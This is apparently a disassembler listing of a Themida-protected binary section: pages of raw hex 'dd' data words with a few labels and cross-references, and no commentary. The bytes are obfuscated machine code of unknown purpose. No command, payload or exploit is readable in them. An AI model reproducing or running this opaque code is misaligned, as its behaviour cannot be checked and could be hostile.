8B97DBC3h, 452629B5h, 0FD82B06h, 10288h, 0F2B70F00h dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 1840F19h, 0F8000000h, 8900C183h dd 4510B59Dh, 0FD93B06h, 0C686h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D98C661Eh dd 2491BD8Bh, 0C1F60645h, 90840F04h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 4500C355h, 95FF9BACh, 6451701h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0BEC35343h, 0F99A6AF3h, 0F32CD6ECh dd 1E41B58Bh, 815B0645h, 0A9F8EDEFh, 0E9C32B0Eh, 8, 7EB0E8DDh dd 8CD0FAh, 8343Dh, 20860F00h, 0E9000000h, 23h, 8E0Fh dd 8B600000h, 452A259Dh, 81666006h, 897E4DD1h, 4515818Dh dd 8B616106h, 81BD33C0h, 8B064509h, 0FD88BC3h, 0C8Eh, 6860F00h dd 29000000h, 452C8D9Dh, 0E585C706h, 0B1064530h, 8B1A677Dh dd 99B58BC0h, 81064520h, 4515A5BDh, 7D006h, 32850F00h dd 56000000h, 5FFBB70Fh, 85FFF38Bh, 64515A5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3AC35343h, 741BD8Bh dd 0BF0F0645h, 0A5B5FFFBh, 6A064515h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 4EFCC351h dd 0F28B59B8h, 188D9589h, 95FF0645h, 6453121h, 7E8h, 0B8F40000h dd 3DBA858Fh, 0FE8B905Eh, 0A158D29h, 6A0645h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 5804B5C3h dd 334AA798h, 7E8A30Bh, 52000000h dd 0E9B15D2Dh, 8B664763h, 0F18B5FF1h, 29E9B58Bh, 8FBF0645h dd 816CE605h, 0E4FF9FDFh, 0D310BE03h, 0BE661625h, 858991AAh dd 6452899h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 23C35646h, 2B18529h, 91BE0645h, 33376BB2h, 452445BDh dd 6860F06h, 89000000h, 4522A5BDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6A38DBDAh dd 0DE9h, 3C68700h, 0F2171111h, 0B58C5342h, 0DF81406Ch dd 2DF279EEh, 1EB9B52Bh, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0CF675BC3h, 4BBC5773h dd 0B9DE8166h, 1DEE8140h, 663B4282h, 0E97830BFh, 0FFFFF88Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h dd 14E9B777h, 6F000000h, 0C148294Eh, 47B11364h, 5A636660h dd 27CEC440h, 8B4182A3h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 3FCB1988h, 1BE787Fh, 0BF41A6C0h dd 162752A0h, 4EBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0ABCCD0C3h, 0DBDC82B4h dd 830F0AAAh, 2, 0EE8FA8Bh, 39000000h, 4869269Fh, 0BD657C81h dd 0BDA8689Eh, 12E96063h, 75000000h, 85BCF94Ah, 2400D289h dd 0CA2E7248h, 4F4BC92h, 61D18AB9h, 99858D5Eh, 5006450Dh dd 0EE9h, 0C14D5300h, 63ED9637h, 17623DABh, 89E2DD4Dh dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 4A14B9C3h, 5A3A2E62h, 81666091h, 0E84D04E8h dd 0Eh, 0B3996E4Bh, 9CE40A56h, 787401B2h, 0BD89B9B4h, 64517A5h dd 6A6158h, 9E86060h, 6B000000h, 8130D387h, 64116C94h dd 1595895Fh, 61064521h, 6E9h, 9F4B7800h, 610B5218h, 858D006Ah dd 648FE55h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 32C35646h, 0E92B047Eh, 13h, 87D3AC9Dh, 722CE70Bh dd 4FAD12EAh, 0EDD77C8Bh, 833D931Ah, 6A05C0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 3E06EEC3h dd 8C90AB18h, 13A9BD8Bh, 0E8900645h, 5, 39F28C3Ah, 0AE882h dd 49210000h, 0C47AB3FDh, 0E72F0D38h, 0CE8h, 948C8400h dd 5D3CA49h, 8DE953F5h, 5E5E5E87h, 15850F50h, 0E8000000h dd 0Fh, 506430B0h, 0F87EBE87h, 0B5BDB240h, 5E413013h, 95958990h dd 66064518h, 2ACCE681h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0D997F7C3h, 0DA674033h dd 20BEAD6Bh, 0E81F2D55h, 6, 0DD645BFDh, 0BE668433h, 6A5EBB8Ch dd 0DBD8900h, 0FF064522h, 45174995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 5BA2C1DEh dd 0F6BEA373h, 8D5550FBh, 489D999Dh, 5D950906h, 0FF064532h dd 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0B985FFD2h, 66064532h, 8B60F88Bh, 0DBD0BFAh dd 6106451Eh, 875E9h db 0 byte_57DDCD db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053EC18o dd 815D0000h, 48FE5FEDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 795305D9h, 56E24DDAh dd 15A5BD81h, 7D00645h, 860F0000h, 137h, 25519D8Bh, 6A0645h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 7BD98FC3h, 0FA8B905Ch, 100E381h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B4307C3h dd 450265B5h, 0FDB0B06h, 6785h, 0BD83F500h, 648FC03h, 42840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E821C350h, 12h, 95255FFDh, 0F9076FDEh dd 0A69B40D7h, 92DE0E43h, 8B668C68h, 50E95FFBh, 8B000000h dd 452869BDh, 385C706h, 10648FCh, 52000000h, 39E95Fh, 8D890000h dd 6451579h, 0FC0385C7h, 648h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0C68DEEC3h dd 60E1FAE9h, 80DBBF0Fh, 8D6134D6h, 4525519Dh, 8C0F5106h dd 6, 7C04F781h, 815F7291h, 0FFFEFF23h, 50006AFFh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 8FF6DCEFh, 66259773h, 8166F88Bh, 667E0AF7h, 8166DB8Ch dd 0F6D044DEh, 840F04C3h, 6Bh, 95FF5E53h, 6451701h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 53C35040h, 958D89B3h dd 90064522h, 50FA8B66h, 11E85250h, 50000000h, 43EAAD8Fh dd 0F4302032h, 0B2F61E8h, 0AC46D7CFh, 0F5F5E53h, 14E95631h dd 0E000000h, 8DB3BE82h, 26A3AB39h, 88745195h, 2B68875Ah dd 5FBF0EF2h, 0E990585Ah, 44Eh, 2F0D9D89h, 0B00645h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 54C35040h, 66DEBA0Ch dd 0BF6670E6h, 71E43240h, 0E8C0Fh, 2B600000h, 450885B5h dd 119D8906h, 61064509h, 33D8B60Fh, 4505FDB5h, 6BA06h dd 0B5090000h, 64521E5h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0C137A5C3h, 6A04E8h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E79AC0C3h, 860FEBC5h, 0 dd 7E9h, 0E2585E00h, 0D4B16EF3h, 6AE2F766h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0BD5CC353h dd 6559830Fh, 34BF6688h, 0D6816676h, 0D82BD56Fh, 771BD01h dd 8B510645h, 4520E9BDh, 50935F06h, 0BE310F52h, 20D4AE45h dd 8B50585Ah, 0B5FF93F9h, 64515A5h, 499D3160h, 8B064518h dd 4506618Dh, 95FF6106h, 6453121h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 6FC35343h, 0C2D6EA9Eh, 64C0189Dh dd 8E9E0h, 3D2F0000h, 5DAC87DEh, 0B04E7Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 77C35747h, 6935551Ah dd 0B4CE93FDh, 852970E6h, 64528B1h, 8D0171E4h, 6451185h dd 830F613Ch, 2CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 3BC35242h, 0F5EF056Dh, 0B60F5BB5h, 9B501D8h dd 0BA064531h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0FEC35646h, 0CE69C4B1h, 0FA600BB2h, 13E96022h dd 0CC000000h, 0CE3CED79h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah dd 0B5897BA4h, 64506DDh, 6AC38B61h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0EE48C355h dd 6407B4EEh, 8B3E4BC9h, 4518C5B5h, 4E8C106h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B8C35343h, 0F49E7133h dd 0E1BEE2EEh, 660AD9E2h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 149023C3h, 0E9FAAFD3h dd 13h, 0D0BEA18Eh, 0EBB58580h, 0E98044A4h, 2E012C2Ch dd 2B46B41Fh, 4D8531D8h, 0F06451Eh, 688h, 0F9B52300h, 5806450Ah dd 880FD82Bh, 1A6h, 7B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D3301596h dd 0C884030Bh, 0BF663165h, 0C1831D4Bh, 3B5E5100h, 6B860FD9h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 1DBC352h, 86EF00C3h, 8C66E993h dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 78A1C07Bh, 0FBF786DBh, 958992F0h, 6450CFDh dd 0C1F6F08Bh, 0E7840F04h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8381C355h dd 0FAF7CF2Bh, 0BD895360h, 6451841h, 0FBBF0F58h, 0F28B6661h dd 170195FFh, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 97EF77C3h, 97B5D9C1h, 89CF5F87h dd 451F9185h, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0B2362FC3h, 9A08DD03h, 3029B589h dd 0C32B0645h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 21C35141h, 8343Dh, 33860F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0E015C357h, 0ADBD8B37h, 66064503h, 0E94E7DBEh, 2Eh dd 1045B58Bh, 0C08B0645h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0B9C35141h, 0F0771C18h, 0CF81665Eh, 0C38B28E8h dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8C0FD0C3h, 6, 4A9BD8Bh, 0B58B0645h, 6451831h dd 1CE585C7h, 6B330645h, 6A7471h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0FE304AC3h, 0F531C48h dd 8B5EFABFh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 730EFEFEh, 60CB7564h, 0B0D9529h dd 9E80645h, 0F4000000h, 60B80FCCh, 19B418A1h, 865B531h dd 615A0645h, 15A5BD81h, 7D00645h, 850F0000h, 14h, 12899529h dd 85890645h, 645064Dh, 15A585FFh, 0FE8B0645h, 15A5B5FFh dd 8A0F0645h, 1, 2195FFFCh, 6A064531h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 450CC353h dd 73BFFCF0h, 902DE471h, 0A830Fh, 0F7810000h, 32FC3326h dd 0F225BE66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 8CC35545h, 0BB70BC2Eh, 811C0242h, 1890Fh, 66F50000h dd 8B4225BEh, 4506A9BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0BC9CEE46h, 5820Fh, 81660000h dd 8BF49FE6h, 450409B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 24F55CCEh, 10E9ED6Fh dd 8C000000h, 4B6E2D3Dh, 3DB36E85h, 6F605BAh, 8122F376h dd 0AB2386D6h, 13E978h, 5F560000h, 0D8D18FC4h, 25B61B8Eh dd 64595076h, 0DC495EBh, 0F1B52B03h, 0BE06452Ah, 5F700B66h dd 880Fh, 0AE80000h, 0B5000000h, 0E64B91BBh, 98090D9Ah dd 68F0FBEh, 31000000h, 450DA5BDh, 85315F06h, 64509E1h dd 9589FE8Bh, 6451F8Dh, 0FFF7B4E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BC0343B1h dd 0F7891077h, 0BF664C84h db 5Bh byte_57E641 db 0D1h, 8Bh, 0C1h ; DATA XREF: Themida_:0053F2B4o dd 6860Fh, 0BD8B0000h, 6451331h, 419B58Bh, 4EB0645h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5BC35747h dd 8A0F400Dh, 5, 1C6E6BFh, 138B0F14h, 0E9000000h, 0Eh dd 6A3016AEh, 0CB5E3799h, 0DF0297DAh, 858D7CAEh, 6450D99h dd 0E9525690h, 0Bh, 1ABA9029h, 1CE034FAh, 5EF70CFFh, 0BE66505Fh dd 6A903E7Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0A673C356h, 2E3996ABh, 0E9006A47h dd 8, 6C209B7h, 3FD52D9Ah, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 314A18C3h dd 452ED58Dh, 5D858D06h, 66064908h, 83487FBEh, 950105C0h dd 6451329h, 89F38B50h, 85892404h, 6450989h, 6AF88Bh, 0D311C8BEh dd 6A006A17h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 59A6C353h, 0BA1BD8Bh, 860F0645h dd 11h, 0CE9h, 373A1D00h, 0E22074C9h, 2F6DD56Bh, 4995FF47h dd 89064517h, 450B599Dh, 999D8D06h, 0B06489Dh, 4528D5BDh dd 5890F06h, 0BF000000h, 44C2902Eh, 6AD3FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0BFADC2C3h dd 9C66C33Fh, 0B5898DB4h, 64512D9h, 32B985FFh, 5E510645h dd 83CE9h, 0E800h, 815D0000h, 490867EDh, 898D8906h, 81064524h dd 4515A5BDh, 7D006h, 0BE860F00h, 0E8000001h, 13h, 8C90AB18h dd 0C9280640h, 1C63D0D7h, 0DBE8FED0h, 60A02996h, 236D958Bh dd 0B70F0645h, 8B5F61C3h, 451FE99Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 376F0E22h dd 3AC729BFh, 0C9B58B41h, 81064502h, 100E3h, 0FFB70F00h dd 2555B58Bh, 0DB0B0645h, 0D8850Fh, 0CE90000h, 0D0000000h dd 70290673h, 0ADEA0FAEh, 83429E17h, 4906E5BDh, 840F0006h dd 5Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h dd 14C35242h, 6E8E2h, 40B40000h, 764359Eh, 0ECCF8166h dd 0CDE95E67h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0A973C352h, 459793F4h dd 850Fh, 85C70000h, 64906E5h, 1, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0D0C35646h, 0E1DECF1Ch, 0F91A1397h dd 34E68166h, 6EE945h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0A5F602C3h, 7F3D1F8h dd 0BE66A63Dh, 85C7C2EDh, 64906E5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 95C35545h dd 6C80A1F8h, 0F4A5BA5Dh, 12E9CFh, 99F80000h, 19323255h dd 0C160183Dh, 0BA78CACCh, 0A5C05FB2h, 1FE99D8Dh, 0B5290645h dd 645137Dh, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 818D2EC3h, 44D492EFh dd 0DB8C663Dh, 1F5DB58Bh, 0C3F60645h, 1B840F04h, 81000000h dd 685EE3CFh, 195FF60h, 51064517h, 5FFEBF0Fh, 24048950h dd 2105BD8Bh, 50E90645h, 0E9000004h, 6, 0A2581E8Bh, 0B0D34Ch dd 1E3D9589h, 70E60645h, 60DBD2Bh, 71E40645h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h, 0BAFF1AC1h dd 0F38B0CCFh, 0FD8B60Fh, 687h, 21B58B00h, 0BA064517h dd 6, 4998589h, 5E90645h, 63000000h, 448180ECh, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0C19066C3h, 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0F17D59C3h, 3334212h, 0E2F7662Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E4C35040h dd 9705A73h, 12E860C5h, 0A4000000h, 0CB47D2C6h, 0F97900DDh dd 0DD052BC1h, 0B4AFED2Ah, 0DD8D89D6h, 5F064504h, 2F1D8589h dd 2B610645h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 22265617h, 0E2D0700Bh, 30F18D89h dd 66520645h, 935EF28Bh, 852ABE66h, 18800F50h, 56000000h dd 11E9h, 0A836A500h, 2B1B69EBh, 0BCFF0CE7h, 2E104653h dd 935EB9B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E4C35343h, 15A5B5FFh, 6A0645h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 95FF10C3h dd 6453121h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0FCC35646h, 666000B0h, 958BC28Bh, 645028Dh, 6A70E661h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 3C6DC356h, 0E430F84Eh, 56006A71h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0A9B58982h dd 3C064505h, 4C830F61h, 6A000002h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 47DCC351h dd 0F2BD665h, 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 7BE9EC3h, 0BA53D844h, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 68C35040h, 11E9C268h dd 0C2000000h, 5F37D00Bh, 2AE769FFh, 6952360Fh, 3CD67CFCh dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0F08B38C3h, 6A04E8C1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D0D3C356h dd 0BF0FFC0Fh, 0E2F766F8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 4AC35141h, 2B18A43Fh, 51006AD8h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9A93D70h, 0Ah, 0C5D0695Eh, 647F5B2Eh, 8509E8C1h, 64524FDh dd 0C9BD8B58h, 2B06452Eh, 24880FD8h, 0F000001h, 7B9F3BFh dd 1000000h, 4509E995h, 0C18306h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 88C35040h, 880F52h, 5E000000h dd 860FD93Bh, 0E7h, 0D98C66F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0DEC35242h, 0DC8C2C49h, 7DB58B3Dh dd 0F6064523h, 840F04C1h, 0ABh, 0E9AEBE56h, 0FF5F7F6Bh dd 45170195h, 19852906h, 60064511h, 0B3F38B66h, 6A5B61C2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 75BC355h, 0AEC6B895h, 2BF7A205h, 4517DDB5h dd 8BC32B06h, 4510F9BDh, 8343D06h, 860F0000h, 53h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 37C35343h, 0E1EFB1ABh dd 3E71D3B6h, 32E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0B9CAB34h, 510C011Ah dd 8166CCADh, 8B56DCCFh, 0F1BD0BC0h, 8B064514h, 3D88BC3h dd 450D81BDh, 5185C706h, 0B5064525h, 0F14CCFBh, 0C08BFBB7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3BC35747h dd 0B58952CAh, 645182Dh, 0B9BD8B5Eh, 81064520h, 4515A5BDh dd 7D006h, 36850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 1407C355h, 0C522B08h dd 9D71C78h, 4512D9BDh, 0A585FF06h, 89064515h, 450A1DBDh dd 0A5B5FF06h, 6A064515h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5AFEC353h, 0F5209Dh dd 2195FF21h, 8B064531h, 452B09BDh, 8E99006h, 0F9000000h dd 84235FCBh, 8B83D1E8h, 452491B5h, 0FDBD3306h, 0E9064524h dd 0Eh, 0F4435427h, 0C93F053Dh, 0AD262B8Ch, 8F0FEF1Bh dd 5, 3E2433BEh, 56006A18h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 248B9729h, 6A2235h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 76FF86C3h, 6A8C7EEAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 7A2C350h, 2465B589h dd 810F0645h, 16h, 8E8h, 80152600h, 82D2E350h, 5E6160DAh dd 197DB58Bh, 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 533C7FC3h, 13A98501h, 81660645h dd 5E8E82C7h, 68E0Fh, 9D310000h, 645224Dh, 6E853h, 0C6890000h dd 85E9BBADh, 5EF0B70Fh, 31BD2B5Eh, 9064515h, 450E0585h dd 0BD895606h, 6451381h, 0F7C7E95Fh, 8B66FFFFh, 0E9C18BF7h dd 13h, 0E98A8435h, 0DF25C916h, 801BB06Bh, 0D551A426h dd 0EB1BFA4Bh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0F18D89CDh, 6A064521h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0D924C351h, 0C12D8E32h, 4AA1A217h, 0D99858Dh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 70CA54C3h, 78376319h, 0BD8BE9E1h, 6452489h dd 89FE8B50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 83B848C3h, 0B4F4AC50h, 0C7BDDE81h dd 6A5191h, 6660006Ah, 9A86D881h, 59DF8B52h, 63858D61h dd 0F064912h, 384h, 0F8B70F00h, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E92EC350h dd 0Eh, 0E56423FFh, 9CE86986h, 284FB496h, 5090A9C8h, 51006A90h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 57994A95h, 30599509h, 6A0645h, 5E9h, 86BE5F00h, 6A68BCh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 74C35343h dd 80F15BD8h, 51E39F1Ch, 3361B58Bh, 665F0645h, 9996E781h dd 174995FFh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0BA5001C3h, 89E78166h, 999D8D6Bh dd 5206489Dh, 998D01h, 0FF5E0645h, 0ADEF81D3h, 0FF40A8B1h dd 4532B985h, 0D29DBE06h, 0BAE9540Dh, 0E8000007h, 0 dd 6DED815Dh, 0E9064912h, 0Eh, 7A8D5A8Eh, 4228F91Eh, 5D553E1h dd 0BD817447h, 64515A5h, 7D0h, 151860Fh, 0BD230000h, 6452CB1h dd 5999D8Bh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 97AE08C3h, 0FBBF0FB6h, 100E381h dd 840F0000h, 6, 1F658509h, 66520645h, 5FD9CCBEh, 850FDB0Bh dd 8Ch, 1C79BD89h, 0BD830645h, 64910BAh, 36840F00h, 60000000h dd 38D0Fh, 0B70F0000h, 29B589C1h, 6106452Fh, 93E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6734CFD2h, 0BA85C71Eh, 1064910h, 8B000000h, 450419BDh dd 0FBB70F06h, 5BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 8C0E41A5h, 0E59D8B60h dd 50064529h, 615E6160h, 10BA85C7h, 649h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 69FAA1C3h, 860F3494h, 0 dd 5999D8Dh, 0BD890645h, 6452571h, 230DB58Bh, 23810645h dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0C9C35646h, 5FDF793Eh, 8B4D96D7h, 4504F1BDh, 0A1B58B06h dd 66064509h, 10E8DB8Ch, 81000000h, 8D8548CDh, 52448E6Bh dd 0C252999Fh, 31AD5EC1h, 45082DBDh, 0C3F65F06h, 5D840F04h dd 8B000000h, 451551B5h, 195FF06h, 6A064517h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 8617C357h, 971BD8Bh, 0E8900645h, 0Eh, 554254A8h, 9E4A08ADh dd 0E614759Fh, 0BE664DDDh, 505E0DFAh, 0EE9h, 265D4000h dd 46973EBFh, 5E94AB6Ch, 90A47C0Ah, 399E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 909DCABBh, 0F1B58B8Eh, 0B006450Bh, 0E6FA8B00h, 64D78170h dd 0E4310FCBh, 0B5BD8B71h, 0F064523h, 6AD8B6h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 3BF9A3C3h, 77D31C14h, 0FE8B6651h, 6BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F254CBCh, 0C87h, 6850F00h, 0F000000h, 84h, 0DB7BF00h dd 0C38B2696h, 0A594D0BFh, 4E8C103h, 68C0Fh, 0B5310000h dd 6451E41h, 6AE2F766h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 3B0BC352h, 0D82B496Eh dd 311DBD89h, 0F930645h, 487h, 94BE6600h, 5250504Bh, 850F60h dd 61000000h, 5250310Fh, 5E9h, 0A4A4CB00h, 310F6D6Fh, 8E8h dd 43EEF700h, 67828196h, 585A5F0Ch, 6A93585Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 74B8C350h, 300698C1h, 7D8589h, 9FBF0645h, 0FF75E4A9h dd 4515A5B5h, 0F18B6006h, 99FFBB66h, 2195FF61h, 6A064531h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 8259C350h, 0B5C3E4CFh, 2BEF81B9h, 0B04442D6h dd 0CE816600h, 70E60CABh, 2395BD8Bh, 71E40645h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D4C35040h, 0C7902C4Dh dd 424814C7h, 0F613CC1h, 1DD83h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E98045DCh dd 13h, 0AEB917BEh, 5A6B99F6h, 72869CF8h, 20BB1EACh, 0F841723h dd 6BAD8B6h, 31000000h, 4524098Dh, 81C38B06h, 7FC08CDFh dd 4E8C145h, 8199D89h, 0F7660645h, 50006AE2h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 